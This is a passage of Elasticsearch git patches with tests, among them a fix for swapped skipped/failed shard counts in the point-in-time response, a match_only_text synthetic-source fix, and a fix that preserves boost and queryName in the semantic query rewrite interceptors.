diff --git a/modules/repository-s3/src/test/java/org/elasticsearch/repositories/s3/RegionFromEndpointGuesserTests.java b/modules/repository-s3/src/test/java/org/elasticsearch/repositories/s3/RegionFromEndpointGuesserTests.java
index 9fe0c40c83979..402181878b600 100644
--- a/modules/repository-s3/src/test/java/org/elasticsearch/repositories/s3/RegionFromEndpointGuesserTests.java
+++ b/modules/repository-s3/src/test/java/org/elasticsearch/repositories/s3/RegionFromEndpointGuesserTests.java
@@ -9,6 +9,11 @@
 
 package org.elasticsearch.repositories.s3;
 
+import software.amazon.awssdk.endpoints.Endpoint;
+import software.amazon.awssdk.regions.Region;
+import software.amazon.awssdk.services.s3.endpoints.S3EndpointParams;
+import software.amazon.awssdk.services.s3.endpoints.internal.DefaultS3EndpointProvider;
+
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.test.ESTestCase;
 
@@ -23,6 +28,14 @@ public void testRegionGuessing() {
         assertRegionGuess("random.endpoint.internal.net", null);
     }
 
+    public void testHasEntryForEachRegion() {
+        final var defaultS3EndpointProvider = new DefaultS3EndpointProvider();
+        for (var region : Region.regions()) {
+            final Endpoint endpoint = safeGet(defaultS3EndpointProvider.resolveEndpoint(S3EndpointParams.builder().region(region).build()));
+            assertNotNull(region.id(), RegionFromEndpointGuesser.guessRegion(endpoint.url().toString()));
+        }
+    }
+
     private static void assertRegionGuess(String endpoint, @Nullable String expectedRegion) {
         assertEquals(endpoint, expectedRegion, RegionFromEndpointGuesser.guessRegion(endpoint));
     }

From 69800962354c5c2e4a9666926e48744846c2c259 Mon Sep 17 00:00:00 2001
From: Ben Chaplin <benchaplin@protonmail.com>
Date: Thu, 17 Jul 2025 12:06:05 -0400
Subject: [PATCH 180/299] Fix bug in point in time response (#131391) (#131457)

Correct response which had swapped "skipped" and "failed" shard counts.
---
 docs/changelog/131391.yaml                    |  6 ++
 .../search/OpenPointInTimeResponse.java       |  2 +-
 .../search/OpenPointInTimeResponseTests.java  | 57 +++++++++++++++++++
 3 files changed, 64 insertions(+), 1 deletion(-)
 create mode 100644 docs/changelog/131391.yaml
 create mode 100644 server/src/test/java/org/elasticsearch/action/search/OpenPointInTimeResponseTests.java

diff --git a/docs/changelog/131391.yaml b/docs/changelog/131391.yaml
new file mode 100644
index 0000000000000..acac2a5f4da96
--- /dev/null
+++ b/docs/changelog/131391.yaml
@@ -0,0 +1,6 @@
+pr: 131391
+summary: Fix bug in point in time response
+area: Search
+type: bug
+issues:
+ - 131026
diff --git a/server/src/main/java/org/elasticsearch/action/search/OpenPointInTimeResponse.java b/server/src/main/java/org/elasticsearch/action/search/OpenPointInTimeResponse.java
index b3ffc564d848c..f8243097e80a3 100644
--- a/server/src/main/java/org/elasticsearch/action/search/OpenPointInTimeResponse.java
+++ b/server/src/main/java/org/elasticsearch/action/search/OpenPointInTimeResponse.java
@@ -59,7 +59,7 @@ public void writeTo(StreamOutput out) throws IOException {
     public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
         builder.startObject();
         builder.field("id", Base64.getUrlEncoder().encodeToString(BytesReference.toBytes(pointInTimeId)));
-        buildBroadcastShardsHeader(builder, params, totalShards, successfulShards, failedShards, skippedShards, null);
+        buildBroadcastShardsHeader(builder, params, totalShards, successfulShards, skippedShards, failedShards, null);
         builder.endObject();
         return builder;
     }
diff --git a/server/src/test/java/org/elasticsearch/action/search/OpenPointInTimeResponseTests.java b/server/src/test/java/org/elasticsearch/action/search/OpenPointInTimeResponseTests.java
new file mode 100644
index 0000000000000..3ed88419ab8d5
--- /dev/null
+++ b/server/src/test/java/org/elasticsearch/action/search/OpenPointInTimeResponseTests.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.action.search;
+
+import org.elasticsearch.common.bytes.BytesArray;
+import org.elasticsearch.common.bytes.BytesReference;
+import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.xcontent.ToXContent;
+import org.elasticsearch.xcontent.XContentBuilder;
+import org.elasticsearch.xcontent.XContentType;
+
+import java.io.IOException;
+import java.util.Base64;
+import java.util.Locale;
+
+import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertToXContentEquivalent;
+
+public class OpenPointInTimeResponseTests extends ESTestCase {
+
+    public void testIdCantBeNull() {
+        BytesReference pointInTimeId = null;
+        expectThrows(NullPointerException.class, () -> { new OpenPointInTimeResponse(pointInTimeId, 11, 8, 2, 1); });
+    }
+
+    public void testToXContent() throws IOException {
+        String id = "test-id";
+        BytesReference pointInTimeId = new BytesArray(id);
+
+        BytesReference actual;
+        try (XContentBuilder builder = XContentBuilder.builder(XContentType.JSON.xContent())) {
+            OpenPointInTimeResponse response = new OpenPointInTimeResponse(pointInTimeId, 11, 8, 2, 1);
+            response.toXContent(builder, ToXContent.EMPTY_PARAMS);
+            actual = BytesReference.bytes(builder);
+        }
+
+        String encodedId = Base64.getUrlEncoder().encodeToString(BytesReference.toBytes(pointInTimeId));
+        BytesReference expected = new BytesArray(String.format(Locale.ROOT, """
+            {
+              "id": "%s",
+              "_shards": {
+                "total": 11,
+                "successful": 8,
+                "failed": 2,
+                "skipped": 1
+              }
+            }
+            """, encodedId));
+        assertToXContentEquivalent(expected, actual, XContentType.JSON);
+    }
+}

From 44f9b883bffe6a48ad59693a4fca0c8e23abc85e Mon Sep 17 00:00:00 2001
From: Jordan Powers <jordan.powers@elastic.co>
Date: Thu, 17 Jul 2025 10:46:21 -0700
Subject: [PATCH 181/299] Fix match_only_text keyword multi-field bug (#131383)
 (#131467)

In #131314 we fixed match_only_text fields with ignore_above keyword
multi-fields in the case that the keyword multi-field is stored. However,
the issue is still present if the keyword field is not stored, but instead
has doc values.

This patch fixes that case.
---
 .../extras/MatchOnlyTextFieldMapper.java      | 66 ++++++++++++--
 .../test/match_only_text/10_basic.yml         | 88 +++++++++++++++++++
 2 files changed, 145 insertions(+), 9 deletions(-)

diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
index 050574272b8c8..faea13dac4e31 100644
--- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
+++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
@@ -67,7 +67,6 @@
 import java.io.IOException;
 import java.io.UncheckedIOException;
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.Collections;
 import java.util.List;
 import java.util.Map;
@@ -253,11 +252,18 @@ private IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOExcepti
             if (searchExecutionContext.isSourceSynthetic() && withinMultiField) {
                 String parentField = searchExecutionContext.parentPath(name());
                 var parent = searchExecutionContext.lookup().fieldType(parentField);
-                if (parent.isStored()) {
-                    if (parent instanceof KeywordFieldMapper.KeywordFieldType keywordParent
-                        && keywordParent.ignoreAbove() != Integer.MAX_VALUE) {
+
+                if (parent instanceof KeywordFieldMapper.KeywordFieldType keywordParent
+                    && keywordParent.ignoreAbove() != Integer.MAX_VALUE) {
+                    if (parent.isStored()) {
                         return storedFieldFetcher(parentField, keywordParent.originalName());
+                    } else if (parent.hasDocValues()) {
+                        var ifd = searchExecutionContext.getForField(parent, MappedFieldType.FielddataOperation.SEARCH);
+                        return combineFieldFetchers(docValuesFieldFetcher(ifd), storedFieldFetcher(keywordParent.originalName()));
                     }
+                }
+
+                if (parent.isStored()) {
                     return storedFieldFetcher(parentField);
                 } else if (parent.hasDocValues()) {
                     var ifd = searchExecutionContext.getForField(parent, MappedFieldType.FielddataOperation.SEARCH);
@@ -268,14 +274,21 @@ private IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOExcepti
             } else if (searchExecutionContext.isSourceSynthetic() && hasCompatibleMultiFields) {
                 var mapper = (MatchOnlyTextFieldMapper) searchExecutionContext.getMappingLookup().getMapper(name());
                 var kwd = TextFieldMapper.SyntheticSourceHelper.getKeywordFieldMapperForSyntheticSource(mapper);
+
                 if (kwd != null) {
                     var fieldType = kwd.fieldType();
-                    if (fieldType.isStored()) {
-                        if (fieldType.ignoreAbove() != Integer.MAX_VALUE) {
+
+                    if (fieldType.ignoreAbove() != Integer.MAX_VALUE) {
+                        if (fieldType.isStored()) {
                             return storedFieldFetcher(fieldType.name(), fieldType.originalName());
-                        } else {
-                            return storedFieldFetcher(fieldType.name());
+                        } else if (fieldType.hasDocValues()) {
+                            var ifd = searchExecutionContext.getForField(fieldType, MappedFieldType.FielddataOperation.SEARCH);
+                            return combineFieldFetchers(docValuesFieldFetcher(ifd), storedFieldFetcher(fieldType.originalName()));
                         }
+                    }
+
+                    if (fieldType.isStored()) {
+                        return storedFieldFetcher(fieldType.name());
                     } else if (fieldType.hasDocValues()) {
                         var ifd = searchExecutionContext.getForField(fieldType, MappedFieldType.FielddataOperation.SEARCH);
                         return docValuesFieldFetcher(ifd);
@@ -332,7 +345,42 @@ private static IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IO
                     if (names.length == 1) {
                         return storedFields.get(names[0]);
                     }
-                    return Arrays.stream(names).map(storedFields::get).filter(Objects::nonNull).flatMap(List::stream).toList();
+
+                    List<Object> values = new ArrayList<>();
+                    for (var name : names) {
+                        var currValues = storedFields.get(name);
+                        if (currValues != null) {
+                            values.addAll(currValues);
+                        }
+                    }
+
+                    return values;
+                };
+            };
+        }
+
+        private static IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOException>> combineFieldFetchers(
+            IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOException>> primaryFetcher,
+            IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOException>> secondaryFetcher
+        ) {
+            return context -> {
+                var primaryGetter = primaryFetcher.apply(context);
+                var secondaryGetter = secondaryFetcher.apply(context);
+                return docId -> {
+                    List<Object> values = new ArrayList<>();
+                    var primary = primaryGetter.apply(docId);
+                    if (primary != null) {
+                        values.addAll(primary);
+                    }
+
+                    var secondary = secondaryGetter.apply(docId);
+                    if (secondary != null) {
+                        values.addAll(secondary);
+                    }
+
+                    assert primary != null || secondary != null;
+
+                    return values;
                 };
             };
         }
diff --git a/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml
index deb0f1a496814..48a596ef14c72 100644
--- a/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml
+++ b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml
@@ -435,6 +435,50 @@ synthetic_source match_only_text as multi-field:
   - match:
       hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
 
+---
+synthetic_source match_only_text as multi-field with ignored keyword as parent:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: keyword
+                store: false
+                doc_values: true
+                ignore_above: 10
+                fields:
+                  text:
+                    type: match_only_text
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id: "1"
+        refresh: true
+        body:
+          foo: [ "Apache Lucene powers Elasticsearch", "Apache" ]
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo.text: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: [ "Apache", "Apache Lucene powers Elasticsearch" ]
+
 ---
 synthetic_source match_only_text as multi-field with stored keyword as parent:
   - requires:
@@ -562,6 +606,50 @@ synthetic_source match_only_text with multi-field:
   - match:
       hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
 
+---
+synthetic_source match_only_text with ignored multi-field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: match_only_text
+                fields:
+                  raw:
+                    type: keyword
+                    store: false
+                    doc_values: true
+                    ignore_above: 10
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id: "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
+
 ---
 synthetic_source match_only_text with stored multi-field:
   - requires:

From ce38cda03bac8661cb7a5377effebda8744e8cf2 Mon Sep 17 00:00:00 2001
From: Samiul Monir <150824886+Samiul-TheSoccerFan@users.noreply.github.com>
Date: Thu, 17 Jul 2025 14:57:21 -0400
Subject: [PATCH 182/299] Fix Semantic Query Rewrite Interception Drops Boosts
 (#129282) (#131469)

* fix boosting for knn

* Fixing for match query

* fixing for match subquery

* fix for sparse vector query boost

* fix linting issues

* Update docs/changelog/129282.yaml

* update changelog

* Copy constructor with match query

* util function to create sparseVectorBuilder for sparse query

* util function for knn query to support boost

* adding unit tests for all intercepted query terms

* Adding yaml test for match,sparse, and knn

* Adding queryname support for nested query

* fix code styles

* Fix failed yaml tests

* Update docs/changelog/129282.yaml

* update yaml tests to expand test scenarios

* Updating knn to copy constructor

* adding yaml tests for multiple indices

* refactoring match query to adjust boost and queryname and move to copy constructor

* refactoring sparse query to adjust boost and queryname and move to copy constructor

* [CI] Auto commit changes from spotless

* Refactor sparse vector to adjust boost and queryname in the top level

* Refactor knn vector to adjust boost and queryname in the top level

* fix knn combined query

* fix unit tests

* fix lint issues

* remove unused code

* Update inference feature name

* Remove double boosting issue from match

* Fix double boosting in match test yaml file

* move to bool level for match semantic boost

* fix double boosting for sparse vector

* fix double boosting for sparse vector in yaml test

* fix knn combined query

* fix knn combined query

* fix sparse combined query

* fix knn yaml test for combined query

* refactoring unit tests

* linting

* fix match query unit test

* adding copy constructor for match query

* refactor copy match builder to intercepter

* [CI] Auto commit changes from spotless

* fix unit tests

* update yaml tests

* fix match yaml test

* fix yaml tests with 4 digits error margin

* unit tests are now more randomized

---------

Co-authored-by: Elastic Machine <elasticmachine@users.noreply.github.com>
Co-authored-by: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
(cherry picked from commit e2bb47c3bb5be3ed77ac5026db40d9297b458f36)

# Conflicts:
#	x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java
---
 docs/changelog/129282.yaml                    |   6 +
 .../xpack/inference/InferenceFeatures.java    |   6 +-
 ...anticKnnVectorQueryRewriteInterceptor.java |  10 +-
 .../SemanticMatchQueryRewriteInterceptor.java |  32 ++++-
 ...icSparseVectorQueryRewriteInterceptor.java |  24 +++-
 ...KnnVectorQueryRewriteInterceptorTests.java |  25 ++++
 ...nticMatchQueryRewriteInterceptorTests.java |  25 ++++
 ...rseVectorQueryRewriteInterceptorTests.java |  66 ++++++----
 .../test/inference/45_semantic_text_match.yml | 123 ++++++++++++++++++
 .../46_semantic_text_sparse_vector.yml        |  97 ++++++++++++++
 .../test/inference/47_semantic_text_knn.yml   | 112 ++++++++++++++++
 11 files changed, 492 insertions(+), 34 deletions(-)
 create mode 100644 docs/changelog/129282.yaml

diff --git a/docs/changelog/129282.yaml b/docs/changelog/129282.yaml
new file mode 100644
index 0000000000000..75e56899ee23e
--- /dev/null
+++ b/docs/changelog/129282.yaml
@@ -0,0 +1,6 @@
+pr: 129282
+summary: "Fix query rewrite logic to preserve `boosts` and `queryName` for `match`,\
+  \ `knn`, and `sparse_vector` queries on semantic_text fields"
+area: Search
+type: bug
+issues: []
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java
index 2bc481cc484d6..5589e46275979 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/InferenceFeatures.java
@@ -36,6 +36,9 @@ public class InferenceFeatures implements FeatureSpecification {
     private static final NodeFeature TEST_RULE_RETRIEVER_WITH_INDICES_THAT_DONT_RETURN_RANK_DOCS = new NodeFeature(
         "test_rule_retriever.with_indices_that_dont_return_rank_docs"
     );
+    private static final NodeFeature SEMANTIC_QUERY_REWRITE_INTERCEPTORS_PROPAGATE_BOOST_AND_QUERY_NAME_FIX = new NodeFeature(
+        "semantic_query_rewrite_interceptors.propagate_boost_and_query_name_fix"
+    );
     private static final NodeFeature SEMANTIC_TEXT_MATCH_ALL_HIGHLIGHTER = new NodeFeature("semantic_text.match_all_highlighter");
     private static final NodeFeature COHERE_V2_API = new NodeFeature("inference.cohere.v2");
 
@@ -66,7 +69,8 @@ public Set<NodeFeature> getTestFeatures() {
             SEMANTIC_TEXT_MATCH_ALL_HIGHLIGHTER,
             SEMANTIC_TEXT_EXCLUDE_SUB_FIELDS_FROM_FIELD_CAPS,
             SEMANTIC_TEXT_INDEX_OPTIONS,
-            COHERE_V2_API
+            COHERE_V2_API,
+            SEMANTIC_QUERY_REWRITE_INTERCEPTORS_PROPAGATE_BOOST_AND_QUERY_NAME_FIX
         );
     }
 }
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticKnnVectorQueryRewriteInterceptor.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticKnnVectorQueryRewriteInterceptor.java
index 9e513a1ed9226..b1f5c240371f8 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticKnnVectorQueryRewriteInterceptor.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticKnnVectorQueryRewriteInterceptor.java
@@ -52,16 +52,20 @@ protected QueryBuilder buildInferenceQuery(QueryBuilder queryBuilder, InferenceI
         assert (queryBuilder instanceof KnnVectorQueryBuilder);
         KnnVectorQueryBuilder knnVectorQueryBuilder = (KnnVectorQueryBuilder) queryBuilder;
         Map<String, List<String>> inferenceIdsIndices = indexInformation.getInferenceIdsIndices();
+        QueryBuilder finalQueryBuilder;
         if (inferenceIdsIndices.size() == 1) {
             // Simple case, everything uses the same inference ID
             Map.Entry<String, List<String>> inferenceIdIndex = inferenceIdsIndices.entrySet().iterator().next();
             String searchInferenceId = inferenceIdIndex.getKey();
             List<String> indices = inferenceIdIndex.getValue();
-            return buildNestedQueryFromKnnVectorQuery(knnVectorQueryBuilder, indices, searchInferenceId);
+            finalQueryBuilder = buildNestedQueryFromKnnVectorQuery(knnVectorQueryBuilder, indices, searchInferenceId);
         } else {
             // Multiple inference IDs, construct a boolean query
-            return buildInferenceQueryWithMultipleInferenceIds(knnVectorQueryBuilder, inferenceIdsIndices);
+            finalQueryBuilder = buildInferenceQueryWithMultipleInferenceIds(knnVectorQueryBuilder, inferenceIdsIndices);
         }
+        finalQueryBuilder.boost(queryBuilder.boost());
+        finalQueryBuilder.queryName(queryBuilder.queryName());
+        return finalQueryBuilder;
     }
 
     private QueryBuilder buildInferenceQueryWithMultipleInferenceIds(
@@ -102,6 +106,8 @@ protected QueryBuilder buildCombinedInferenceAndNonInferenceQuery(
                 )
             );
         }
+        boolQueryBuilder.boost(queryBuilder.boost());
+        boolQueryBuilder.queryName(queryBuilder.queryName());
         return boolQueryBuilder;
     }
 
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticMatchQueryRewriteInterceptor.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticMatchQueryRewriteInterceptor.java
index fd1d65d00faf5..a6599afc66c3f 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticMatchQueryRewriteInterceptor.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticMatchQueryRewriteInterceptor.java
@@ -36,7 +36,10 @@ protected String getQuery(QueryBuilder queryBuilder) {
 
     @Override
     protected QueryBuilder buildInferenceQuery(QueryBuilder queryBuilder, InferenceIndexInformationForField indexInformation) {
-        return new SemanticQueryBuilder(indexInformation.fieldName(), getQuery(queryBuilder), false);
+        SemanticQueryBuilder semanticQueryBuilder = new SemanticQueryBuilder(indexInformation.fieldName(), getQuery(queryBuilder), false);
+        semanticQueryBuilder.boost(queryBuilder.boost());
+        semanticQueryBuilder.queryName(queryBuilder.queryName());
+        return semanticQueryBuilder;
     }
 
     @Override
@@ -45,7 +48,10 @@ protected QueryBuilder buildCombinedInferenceAndNonInferenceQuery(
         InferenceIndexInformationForField indexInformation
     ) {
         assert (queryBuilder instanceof MatchQueryBuilder);
-        MatchQueryBuilder matchQueryBuilder = (MatchQueryBuilder) queryBuilder;
+        MatchQueryBuilder originalMatchQueryBuilder = (MatchQueryBuilder) queryBuilder;
+        // Create a copy for non-inference fields without boost and _name
+        MatchQueryBuilder matchQueryBuilder = copyMatchQueryBuilder(originalMatchQueryBuilder);
+
         BoolQueryBuilder boolQueryBuilder = new BoolQueryBuilder();
         boolQueryBuilder.should(
             createSemanticSubQuery(
@@ -55,6 +61,8 @@ protected QueryBuilder buildCombinedInferenceAndNonInferenceQuery(
             )
         );
         boolQueryBuilder.should(createSubQueryForIndices(indexInformation.nonInferenceIndices(), matchQueryBuilder));
+        boolQueryBuilder.boost(queryBuilder.boost());
+        boolQueryBuilder.queryName(queryBuilder.queryName());
         return boolQueryBuilder;
     }
 
@@ -62,4 +70,24 @@ protected QueryBuilder buildCombinedInferenceAndNonInferenceQuery(
     public String getQueryName() {
         return MatchQueryBuilder.NAME;
     }
+
+    private MatchQueryBuilder copyMatchQueryBuilder(MatchQueryBuilder queryBuilder) {
+        MatchQueryBuilder matchQueryBuilder = new MatchQueryBuilder(queryBuilder.fieldName(), queryBuilder.value());
+        matchQueryBuilder.operator(queryBuilder.operator());
+        matchQueryBuilder.prefixLength(queryBuilder.prefixLength());
+        matchQueryBuilder.maxExpansions(queryBuilder.maxExpansions());
+        matchQueryBuilder.fuzzyTranspositions(queryBuilder.fuzzyTranspositions());
+        matchQueryBuilder.lenient(queryBuilder.lenient());
+        matchQueryBuilder.zeroTermsQuery(queryBuilder.zeroTermsQuery());
+        matchQueryBuilder.analyzer(queryBuilder.analyzer());
+        matchQueryBuilder.minimumShouldMatch(queryBuilder.minimumShouldMatch());
+        matchQueryBuilder.fuzzyRewrite(queryBuilder.fuzzyRewrite());
+
+        if (queryBuilder.fuzziness() != null) {
+            matchQueryBuilder.fuzziness(queryBuilder.fuzziness());
+        }
+
+        matchQueryBuilder.autoGenerateSynonymsPhraseQuery(queryBuilder.autoGenerateSynonymsPhraseQuery());
+        return matchQueryBuilder;
+    }
 }
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticSparseVectorQueryRewriteInterceptor.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticSparseVectorQueryRewriteInterceptor.java
index 21feb21fbc2e5..c85a21f10301d 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticSparseVectorQueryRewriteInterceptor.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/queries/SemanticSparseVectorQueryRewriteInterceptor.java
@@ -43,14 +43,18 @@ protected String getQuery(QueryBuilder queryBuilder) {
     @Override
     protected QueryBuilder buildInferenceQuery(QueryBuilder queryBuilder, InferenceIndexInformationForField indexInformation) {
         Map<String, List<String>> inferenceIdsIndices = indexInformation.getInferenceIdsIndices();
+        QueryBuilder finalQueryBuilder;
         if (inferenceIdsIndices.size() == 1) {
             // Simple case, everything uses the same inference ID
             String searchInferenceId = inferenceIdsIndices.keySet().iterator().next();
-            return buildNestedQueryFromSparseVectorQuery(queryBuilder, searchInferenceId);
+            finalQueryBuilder = buildNestedQueryFromSparseVectorQuery(queryBuilder, searchInferenceId);
         } else {
             // Multiple inference IDs, construct a boolean query
-            return buildInferenceQueryWithMultipleInferenceIds(queryBuilder, inferenceIdsIndices);
+            finalQueryBuilder = buildInferenceQueryWithMultipleInferenceIds(queryBuilder, inferenceIdsIndices);
         }
+        finalQueryBuilder.queryName(queryBuilder.queryName());
+        finalQueryBuilder.boost(queryBuilder.boost());
+        return finalQueryBuilder;
     }
 
     private QueryBuilder buildInferenceQueryWithMultipleInferenceIds(
@@ -79,7 +83,19 @@ protected QueryBuilder buildCombinedInferenceAndNonInferenceQuery(
         Map<String, List<String>> inferenceIdsIndices = indexInformation.getInferenceIdsIndices();
 
         BoolQueryBuilder boolQueryBuilder = new BoolQueryBuilder();
-        boolQueryBuilder.should(createSubQueryForIndices(indexInformation.nonInferenceIndices(), sparseVectorQueryBuilder));
+        boolQueryBuilder.should(
+            createSubQueryForIndices(
+                indexInformation.nonInferenceIndices(),
+                new SparseVectorQueryBuilder(
+                    sparseVectorQueryBuilder.getFieldName(),
+                    sparseVectorQueryBuilder.getQueryVectors(),
+                    sparseVectorQueryBuilder.getInferenceId(),
+                    sparseVectorQueryBuilder.getQuery(),
+                    sparseVectorQueryBuilder.shouldPruneTokens(),
+                    sparseVectorQueryBuilder.getTokenPruningConfig()
+                )
+            )
+        );
         // We always perform nested subqueries on semantic_text fields, to support
         // sparse_vector queries using query vectors.
         for (String inferenceId : inferenceIdsIndices.keySet()) {
@@ -90,6 +106,8 @@ protected QueryBuilder buildCombinedInferenceAndNonInferenceQuery(
                 )
             );
         }
+        boolQueryBuilder.boost(queryBuilder.boost());
+        boolQueryBuilder.queryName(queryBuilder.queryName());
         return boolQueryBuilder;
     }
 
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticKnnVectorQueryRewriteInterceptorTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticKnnVectorQueryRewriteInterceptorTests.java
index 270cdba6d3469..1f0b56e3d6848 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticKnnVectorQueryRewriteInterceptorTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticKnnVectorQueryRewriteInterceptorTests.java
@@ -61,6 +61,14 @@ public void testKnnQueryWithVectorBuilderIsInterceptedAndRewritten() throws IOEx
         QueryRewriteContext context = createQueryRewriteContext(inferenceFields);
         QueryVectorBuilder queryVectorBuilder = new TextEmbeddingQueryVectorBuilder(INFERENCE_ID, QUERY);
         KnnVectorQueryBuilder original = new KnnVectorQueryBuilder(FIELD_NAME, queryVectorBuilder, 10, 100, null);
+        if (randomBoolean()) {
+            float boost = randomFloatBetween(1, 10, randomBoolean());
+            original.boost(boost);
+        }
+        if (randomBoolean()) {
+            String queryName = randomAlphaOfLength(5);
+            original.queryName(queryName);
+        }
         testRewrittenInferenceQuery(context, original);
     }
 
@@ -72,6 +80,14 @@ public void testKnnWithQueryBuilderWithoutInferenceIdIsInterceptedAndRewritten()
         QueryRewriteContext context = createQueryRewriteContext(inferenceFields);
         QueryVectorBuilder queryVectorBuilder = new TextEmbeddingQueryVectorBuilder(null, QUERY);
         KnnVectorQueryBuilder original = new KnnVectorQueryBuilder(FIELD_NAME, queryVectorBuilder, 10, 100, null);
+        if (randomBoolean()) {
+            float boost = randomFloatBetween(1, 10, randomBoolean());
+            original.boost(boost);
+        }
+        if (randomBoolean()) {
+            String queryName = randomAlphaOfLength(5);
+            original.queryName(queryName);
+        }
         testRewrittenInferenceQuery(context, original);
     }
 
@@ -82,14 +98,23 @@ private void testRewrittenInferenceQuery(QueryRewriteContext context, KnnVectorQ
             rewritten instanceof InterceptedQueryBuilderWrapper
         );
         InterceptedQueryBuilderWrapper intercepted = (InterceptedQueryBuilderWrapper) rewritten;
+        assertEquals(original.boost(), intercepted.boost(), 0.0f);
+        assertEquals(original.queryName(), intercepted.queryName());
         assertTrue(intercepted.queryBuilder instanceof NestedQueryBuilder);
+
         NestedQueryBuilder nestedQueryBuilder = (NestedQueryBuilder) intercepted.queryBuilder;
+        assertEquals(original.boost(), nestedQueryBuilder.boost(), 0.0f);
+        assertEquals(original.queryName(), nestedQueryBuilder.queryName());
         assertEquals(SemanticTextField.getChunksFieldName(FIELD_NAME), nestedQueryBuilder.path());
+
         QueryBuilder innerQuery = nestedQueryBuilder.query();
         assertTrue(innerQuery instanceof KnnVectorQueryBuilder);
         KnnVectorQueryBuilder knnVectorQueryBuilder = (KnnVectorQueryBuilder) innerQuery;
+        assertEquals(1.0f, knnVectorQueryBuilder.boost(), 0.0f);
+        assertNull(knnVectorQueryBuilder.queryName());
         assertEquals(SemanticTextField.getEmbeddingsFieldName(FIELD_NAME), knnVectorQueryBuilder.getFieldName());
         assertTrue(knnVectorQueryBuilder.queryVectorBuilder() instanceof TextEmbeddingQueryVectorBuilder);
+
         TextEmbeddingQueryVectorBuilder textEmbeddingQueryVectorBuilder = (TextEmbeddingQueryVectorBuilder) knnVectorQueryBuilder
             .queryVectorBuilder();
